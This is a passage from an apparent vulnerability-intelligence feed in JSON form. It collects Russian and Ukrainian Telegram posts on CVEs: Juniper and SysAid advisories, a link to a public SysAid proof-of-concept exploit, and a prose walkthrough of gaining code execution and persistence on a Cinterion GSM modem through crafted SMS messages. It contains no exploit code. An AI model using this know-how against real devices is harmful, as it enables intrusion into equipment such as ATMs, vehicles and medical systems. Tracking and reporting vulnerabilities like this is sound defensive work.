\u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u044e\u0442\u044c \u0446\u0456 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0456 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u0438\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.\n\nCISA \u0432\u0438\u043c\u0430\u0433\u0430\u0454 \u0432\u0456\u0434 \u0444\u0435\u0434\u0435\u0440\u0430\u043b\u044c\u043d\u0438\u0445 \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432 \u0443\u0441\u0443\u043d\u0443\u0442\u0438 \u0432\u0438\u044f\u0432\u043b\u0435\u043d\u0456 \u043d\u0435\u0434\u043e\u043b\u0456\u043a\u0438 \u0431\u0435\u0437\u043f\u0435\u043a\u0438 Juniper \u0434\u043e 17 \u043b\u0438\u0441\u0442\u043e\u043f\u0430\u0434\u0430 2023 \u0440\u043e\u043a\u0443, \u0430 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0456\u0441\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440\u0430 SysAid - \u0434\u043e 4 \u0433\u0440\u0443\u0434\u043d\u044f 2023 \u0440\u043e\u043a\u0443.\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0456\u044f Juniper \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0454 \u0432\u0438\u043c\u043a\u043d\u0443\u0442\u0438 J-Web \u0430\u0431\u043e \u043e\u0431\u043c\u0435\u0436\u0438\u0442\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u0434\u043e \u043d\u044c\u043e\u0433\u043e \u043b\u0438\u0448\u0435 \u0434\u043b\u044f \u0434\u043e\u0432\u0456\u0440\u0435\u043d\u0438\u0445 \u0445\u043e\u0441\u0442\u0456\u0432 \u044f\u043a \u0442\u0438\u043c\u0447\u0430\u0441\u043e\u0432\u0438\u0439 \u0437\u0430\u0445\u0456\u0434. \u0412\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0456 \u0431\u0443\u043b\u0438 \u0432\u0438\u044f\u0432\u043b\u0435\u043d\u0456 \u0432 \u0441\u0435\u0440\u043f\u043d\u0456 \u0446\u044c\u043e\u0433\u043e \u0440\u043e\u043a\u0443, \u0430\u043b\u0435, \u0441\u0445\u043e\u0436\u0435, \u0434\u043e \u0446\u044c\u043e\u0433\u043e \u0447\u0430\u0441\u0443 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u043d\u043e \u043d\u0435 \u0435\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0443\u0432\u0430\u043b\u0438\u0441\u044f. \u041a\u043e\u043c\u043f\u0430\u043d\u0456\u044f \u0432\u0438\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0432\u0456\u0434\u043f\u043e\u0432\u0456\u0434\u043d\u0456 \u043f\u0430\u0442\u0447\u0456 \u043d\u0435\u0437\u0430\u0431\u0430\u0440\u043e\u043c \u043f\u0456\u0441\u043b\u044f \u0432\u0438\u044f\u0432\u043b\u0435\u043d\u043d\u044f \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439 \u0456 \u0437 \u0442\u043e\u0433\u043e \u0447\u0430\u0441\u0443 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0437\u0430\u043a\u043b\u0438\u043a\u0430\u0454 \u043a\u043b\u0456\u0454\u043d\u0442\u0456\u0432 \u043e\u043d\u043e\u0432\u043b\u044e\u0432\u0430\u0442\u0438 \u0441\u0432\u043e\u0457 \u0435\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0438 Junos OS \u0434\u043e \u0431\u0435\u0437\u043f\u0435\u0447\u043d\u043e\u0457 \u0432\u0435\u0440\u0441\u0456\u0457.\n\n\u0412 \u043a\u0456\u043d\u0446\u0456 \u0441\u0435\u0440\u043f\u043d\u044f \u0434\u043e\u0441\u043b\u0456\u0434\u043d\u0438\u043a\u0438 \u0437 watchTowr Labs \u043e\u043f\u0443\u0431\u043b\u0456\u043a\u0443\u0432\u0430\u043b\u0438 PoC-\u0435\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f \u0432\u0438\u044f\u0432\u043b\u0435\u043d\u0438\u0445 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439. \u0410\u0442\u0430\u043a\u0443\u044e\u0447\u0456 \u043c\u043e\u0436\u0443\u0442\u044c \u0432\u0438\u043a\u043e\u0440\u0438\u0441\u0442\u043e\u0432\u0443\u0432\u0430\u0442\u0438 \u043b\u0430\u043d\u0446\u044e\u0436\u043e\u043a \u0456\u0441\u043d\u0443\u044e\u0447\u0438\u0445 \u043d\u0435\u0434\u043e\u043b\u0456\u043a\u0456\u0432 \u0431\u0435\u0437\u043f\u0435\u043a\u0438 \u0434\u043b\u044f \u0432\u0456\u0434\u0434\u0430\u043b\u0435\u043d\u043e\u0433\u043e \u0432\u0438\u043a\u043e\u043d\u0430\u043d\u043d\u044f \u043a\u043e\u0434\u0443 \u043d\u0430 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0438\u0445 \u043f\u0440\u0438\u0441\u0442\u0440\u043e\u044f\u0445. \u0414\u043e\u0441\u043b\u0456\u0434\u043d\u0438\u043a\u0438 watchTowr \u0442\u0430\u043a\u043e\u0436 \u0434\u0435\u0442\u0430\u043b\u044c\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043b\u0438 \u043f\u0440\u043e\u0446\u0435\u0441 \u0432\u0456\u0434\u0442\u0432\u043e\u0440\u0435\u043d\u043d\u044f, \u043e\u0431'\u0454\u0434\u043d\u0430\u043d\u043d\u044f \u0442\u0430 \u0435\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0456\u0457 \u0446\u0438\u0445 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439.\n\n\u0412 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0456 \u0432\u0435\u0440\u0435\u0441\u043d\u044f \u0434\u043e\u0441\u043b\u0456\u0434\u043d\u0438\u043a\u0438 \u0437 VulnCheck \u0432\u0438\u044f\u0432\u0438\u043b\u0438 \u043f\u0440\u0438\u0431\u043b\u0438\u0437\u043d\u043e 15 000 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u0435\u0440\u0456\u0432 Juniper SRX \u0456 \u043a\u043e\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0456\u0432 Juniper EX, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0438\u0445 \u0432 \u0406\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0456 \u0456 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u0438\u0445 \u0434\u043e \u0432\u0438\u0449\u0435\u0437\u0433\u0430\u0434\u0430\u043d\u0438\u0445 \u0432\u0440\u0430\u0437\u043b\u0438\u0432\u043e\u0441\u0442\u0435\u0439. \u0417\u0430 \u0434\u0430\u043d\u0438\u043c\u0438 VulnCheck, \u0432 \u0441\u0435\u0440\u0435\u0434\u043d\u044c\u043e\u043c\u0443 \u0431\u043b\u0438\u0437\u044c\u043a\u043e 80% \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u0438\u0445 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u0435\u0440\u0456\u0432, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0438\u0445 \u0447\u0435\u0440\u0435\u0437 \u0406\u043d\u0442\u0435\u0440\u043d\u0435\u0442, \u0437\u0430\u043b\u0438\u0448\u0430\u043b\u0438\u0441\u044f \u043d\u0435\u043e\u043d\u043e\u0432\u043b\u0435\u043d\u0456 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0430\u043d\u0430\u043b\u0456\u0437\u0443.\n\n\u0415\u043a\u0441\u043f\u0435\u0440\u0442\u0438 \u043f\u0456\u0434\u043a\u0440\u0435\u0441\u043b\u044e\u044e\u0442\u044c, \u0449\u043e \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u0435\u0440\u0438 \u0454 \u043f\u0440\u0438\u0432\u0430\u0431\u043b\u0438\u0432\u0438\u043c\u0438 \u0446\u0456\u043b\u044f\u043c\u0438 \u0434\u043b\u044f \u043d\u0430\u0446\u0456\u043e\u043d\u0430\u043b\u044c\u043d\u0438\u0445 \u0445\u0430\u043a\u0435\u0440\u0456\u0432, \u043e\u0441\u043a\u0456\u043b\u044c\u043a\u0438 \u0432\u043e\u043d\u0438 \u0434\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442\u044c \u043f\u0440\u043e\u043d\u0438\u043a\u043d\u0443\u0442\u0438 \u0432 \u0437\u0430\u0445\u0438\u0449\u0435\u043d\u0456 \u043c\u0435\u0440\u0435\u0436\u0456 \u0456 \u043c\u043e\u0436\u0443\u0442\u044c \u0441\u043b\u0443\u0436\u0438\u0442\u0438 \u0445\u043e\u0441\u0442\u0430\u043c\u0438 \u0434\u043b\u044f \u0456\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0456\u043d\u043d\u044f \u0456 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e. \u0422\u0456\u043b\u044c\u043a\u0438 \u0441\u0432\u043e\u0454\u0447\u0430\u0441\u043d\u0435 \u0432\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u044f \u043e\u043d\u043e\u0432\u043b\u0435\u043d\u044c \u0431\u0435\u0437\u043f\u0435\u043a\u0438 \u0442\u0430 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0441\u043d\u0438\u0439 \u043f\u0456\u0434\u0445\u0456\u0434 \u0434\u043e \u043a\u0456\u0431\u0435\u0440\u0437\u0430\u0445\u0438\u0441\u0442\u0443 \u0437\u043c\u043e\u0436\u0435 \u043e\u0431\u0435\u0440\u0435\u0433\u0442\u0438 \u043e\u0440\u0433\u0430\u043d\u0456\u0437\u0430\u0446\u0456\u0457 \u0432\u0456\u0434 \u043d\u0435\u043f\u0440\u0438\u0454\u043c\u043d\u0438\u0445 \u043d\u0430\u0441\u043b\u0456\u0434\u043a\u0456\u0432 \u0445\u0430\u043a\u0435\u0440\u0441\u044c\u043a\u0438\u0445 \u0430\u0442\u0430\u043a.", "creation_timestamp": "2023-11-19T08:14:40.000000Z"}, {"uuid": "1fab9696-4631-4d6b-9555-79f587de5e92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47246", "type": "published-proof-of-concept", "source": "https://t.me/ap_security/274", "content": "\u2604\ufe0fCVE-2023-47246: PoC\n\n\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0430\u044f SysAid \n\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \n\u043a\u043e\u0434\u0430\ud83d\ude04\n\n\ud83d\udce3\u0421\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442:\nhttps://github.com/W01fh4cker/CVE-2023-47246-EXP/tree/main\n\n#cve #poc #exploit", "creation_timestamp": "2023-11-18T15:05:23.000000Z"}, {"uuid": "79a49cdf-2803-4f60-8215-9cfb58a359e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47610", "type": "published-proof-of-concept", "source": "https://t.me/justsecurity/378", "content": "\ud83e\udd47\u0417\u0430\u043c\u044b\u043a\u0430\u044e\u0449\u0438\u0439 \u043a\u0435\u0439\u0441 \u0432 \u043d\u0430\u0448\u0435\u0439 \u043f\u043e\u0434\u0431\u043e\u0440\u043a\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e\u0434\u043d\u0438\u0445 \u0440\u0430\u0431\u043e\u0442 \u0438\u0437 \u043d\u043e\u043c\u0438\u043d\u0430\u0446\u0438\u0438 \u00ab\u0414\u0435\u0432\u0430\u0439\u0441\u00bb \u043e\u0442 \u0430\u0432\u0442\u043e\u0440\u043e\u0432 @n0um3n0n \u0438 @madprogrammer\n\n\u041d\u0430\u0434\u0435\u0435\u043c\u0441\u044f, \u044d\u0442\u0430 \u0441\u0435\u0440\u0438\u044f \u043f\u043e\u0441\u0442\u043e\u0432 \u0432\u0434\u043e\u0445\u043d\u043e\u0432\u0438\u043b\u0430 \u0432\u0430\u0441 \u043f\u043e\u0443\u0447\u0430\u0441\u0442\u0432\u043e\u0432\u0430\u0442\u044c \u0432 #pentestaward 2025, \u0430\u043d\u043e\u043d\u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u043c\u044b \u0437\u0430\u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0443\u0436\u0435 \u0432 \u044d\u0442\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435! \u2728\n\n\u041e\u0431\u044a\u0435\u043a\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\n\nGSM-\u043c\u043e\u0434\u0435\u043c Cinterion EHS5, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0432 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445: \u0431\u0430\u043d\u043a\u043e\u043c\u0430\u0442\u0430\u0445, \u0430\u0432\u0442\u043e\u043c\u043e\u0431\u0438\u043b\u044f\u0445, \u0438\u043d\u0434\u0443\u0441\u0442\u0440\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0448\u043b\u044e\u0437\u0430\u0445 \u0438 \u043c\u0435\u0434\u0438\u0446\u0438\u043d\u0441\u043a\u043e\u043c \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0438.\n\n\u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\n\n\u0423\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438 \u0447\u0435\u0440\u0435\u0437 SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f (\u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b SUPL), \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u043b\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0441 \u043c\u0430\u043a\u0441\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435. \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043d\u043e\u043c\u0435\u0440 CVE-2023-47610.\n\n\u0425\u043e\u0434 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\n\n1) \u041f\u043e\u0438\u0441\u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 GSM-\u043c\u043e\u0434\u0435\u043c\u0435\n\n- \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d \u043c\u043e\u0434\u0435\u043c Cinterion EHS5 \u043d\u0430 \u0431\u0430\u0437\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0440\u0430 Intel X-Gold 625.\n- \u0427\u0435\u0440\u0435\u0437 \u0441\u044a\u0435\u043c NAND-\u0444\u043b\u0435\u0448 \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0430 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0430.\n- \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u0443\u0447\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 SUPL-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 (SMS).\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u0438\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0438\u044f \u043c\u0435\u0436\u0434\u0443 \u0434\u043b\u0438\u043d\u043e\u0439 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0430 \u0438 \u043e\u0431\u0449\u0435\u0439 \u0434\u043b\u0438\u043d\u043e\u0439 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0431\u0443\u0444\u0435\u0440\u0430.\n\n2) \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u043f\u0440\u0438\u043c\u0438\u0442\u0438\u0432\u0430 \u0447\u0442\u0435\u043d\u0438\u044f \u043f\u0430\u043c\u044f\u0442\u0438\n\n- \u041f\u0440\u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u043c\u043e\u0434\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f, \u043d\u043e \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043c\u0430\u043d\u0434\u0443 AT+XLOG \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0430\u0434\u0440\u0435\u0441 \u0441\u0431\u043e\u044f \u0438 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u043e\u0432.\n- \u0412\u044b\u044f\u0432\u043b\u0435\u043d\u043e, \u0447\u0442\u043e \u043f\u0440\u0438 \u043f\u0430\u0434\u0435\u043d\u0438\u0438 \u0432 \u0440\u0435\u0433\u0438\u0441\u0442\u0440 R0 \u043f\u043e\u043f\u0430\u0434\u0430\u044e\u0442 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435.\n- \u0423\u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u0430\u043c\u044f\u0442\u044c \u043c\u043e\u0434\u0435\u043c\u0430 (4 \u0431\u0430\u0439\u0442\u0430 \u0432 \u043c\u0438\u043d\u0443\u0442\u0443) \u0447\u0435\u0440\u0435\u0437 SMS.\n\n3) \u041f\u043e\u0438\u0441\u043a \u043f\u0440\u0438\u043c\u0438\u0442\u0438\u0432\u0430 \u0437\u0430\u043f\u0438\u0441\u0438\n\n- \u041f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0444\u0443\u043d\u043a\u0446\u0438\u0438 malloc \u0438 free \u0432 \u041e\u0421 ThreadX.\n- \u0412\u044b\u044f\u0441\u043d\u0435\u043d\u043e, \u0447\u0442\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u044f free \u043c\u043e\u0436\u0435\u0442 \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u043d\u0430 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0431\u043b\u043e\u043a \u043f\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u043c\u0443 \u0430\u0434\u0440\u0435\u0441\u0443, \u0435\u0441\u043b\u0438 \u043f\u043e\u0434\u043c\u0435\u043d\u0438\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 Thread.\n- \u0421\u043e\u0437\u0434\u0430\u043d\u0430 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u0430\u044f \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 HeapBase, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0430\u0434\u0440\u0435\u0441\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e free.\n\n4) \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\n- \u0420\u0435\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d \u043f\u0440\u0438\u043c\u0438\u0442\u0438\u0432 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u0447\u0435\u0440\u0435\u0437 \u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c WAP SMS.\n- \u041f\u043e\u0441\u043b\u0435 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u043e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u043c\u0443 \u0430\u0434\u0440\u0435\u0441\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0430\u043d\u0430\u043b\u0438\u0437 \u043a\u043e\u0434\u0430 \u041e\u0421.\n- \u041d\u0430\u0439\u0434\u0435\u043d\u0430 \u0442\u043e\u0447\u043a\u0430 \u0432\u044b\u0437\u043e\u0432\u0430 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u0447\u0435\u0440\u0435\u0437 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 Thread.\n\n5) \u0417\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435 \u043d\u0430 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0435\n\n- \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u043a\u0438 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043d\u0430 \u0437\u0430\u043f\u0438\u0441\u044c.\n- \u041a\u043e\u0434 \u0434\u043b\u044f \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u044f \u0438\u043d\u0442\u0435\u0433\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 UTACAT, \u043e\u0442\u0432\u0435\u0447\u0430\u044e\u0449\u0438\u0439 \u0437\u0430 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0443 SMS.\n- \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d \u0434\u0440\u0430\u0439\u0432\u0435\u0440, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u0444\u0430\u0439\u043b\u043e\u0432\u0443\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u0437 SMS.\n\n\u041f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u0441 \u043a\u0430\u0440\u0442\u0438\u043d\u043a\u0430\u043c\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0435\u043d \u043d\u0430 \u0425\u0430\u043a\u0435\u0440\u0435 \ud83d\udc48", "creation_timestamp": "2025-04-03T06:32:59.000000Z"}, {"uuid": "805eba60-ca04-428c-8c01-8ab9ead96c51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47639", "type": "seen", "source": "https://t.me/cvedetector/22014", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-47639 - API Platform Core Information Disclosure\", \n  \"Content\": \"CVE ID : CVE-2023-47639 \nPublished : April 3, 2025, 5:15 p.m. | 1\u00a0hour, 56\u00a0minutes ago \nDescription : API Platform Core is a system to create hypermedia-driven REST and GraphQL APIs. From 3.2.0 until 3.2.4, exception messages, that are not HTTP exceptions, are visible in the JSON error response. This vulnerability is fixed in 3.2.5. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-03T21:55:52.000000Z"}, {"uuid": "ea1bc517-dbb7-43c2-8431-1d9a8af8998e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47159", "type": "seen", "source": "https://t.me/cvedetector/16470", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2023-47159 - IBM Sterling File Gateway Authenticated User Username Enumeration\", \n  \"Content\": \"CVE ID : CVE-2023-47159 \nPublished : Jan. 27, 2025, 4:15 p.m. | 17\u00a0minutes ago \nDescription : IBM Sterling File Gateway 6.0.0.0 through 6.1.2.5 and 6.2.0.0 through 6.2.0.1 could allow an authenticated user to enumerate usernames due to an observable discrepancy in request responses. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"27 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-27T17:40:26.000000Z"}, {"uuid": "0051d651-98d2-45e4-8857-b2a3e3bbfed3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47118", "type": "seen", "source": "https://t.me/ctinow/157208", "content": "https://ift.tt/Nlny2Kr\nCVE-2023-47118", "creation_timestamp": "2023-12-20T18:21:53.000000Z"}, {"uuid": "1cde570e-1151-4f17-93d0-146d58f49951", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47146", "type": "seen", "source": "https://t.me/ctinow/156984", "content": "https://ift.tt/SwF67gH\nCVE-2023-47146", "creation_timestamp": "2023-12-20T13:53:16.000000Z"}, {"uuid": "c2d8213f-f08d-4f4c-853d-d2c5613092e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47184", "type": "seen", "source": "https://t.me/cibsecurity/73593", "content": "\u203c CVE-2023-47184 \u203c\n\nAuth. (admin+) Stored Cross-Site Scripting (XSS) vulnerability in Proper Fraction LLC. Admin 